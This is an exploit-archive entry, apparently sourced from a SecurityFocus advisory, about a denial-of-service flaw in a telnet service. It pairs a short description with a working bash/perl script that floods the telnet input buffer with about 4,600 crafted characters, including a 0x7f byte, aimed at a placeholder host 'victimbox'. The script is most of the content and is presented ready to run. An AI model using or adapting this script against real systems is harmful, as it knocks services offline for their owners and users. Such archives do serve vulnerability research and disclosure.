12 lines
No EOL
500 B
Bash
Executable file
12 lines
No EOL
500 B
Bash
Executable file
source: http://www.securityfocus.com/bid/2838/info
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Due to a flaw in the implementation of the telnet service, it is possible for a remote client to perform a denial of service attack against a host.
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If approximately 4300 characters already exist in the input buffer and additional numerous specially chosen characters are provided, the service will stop responding.
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#!/bin/bash
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( sleep 1
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perl -e '{printf "%s\x7f%s","A"x4500,"A"x100}'
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sleep 3
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) | telnet victimbox
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- eof - |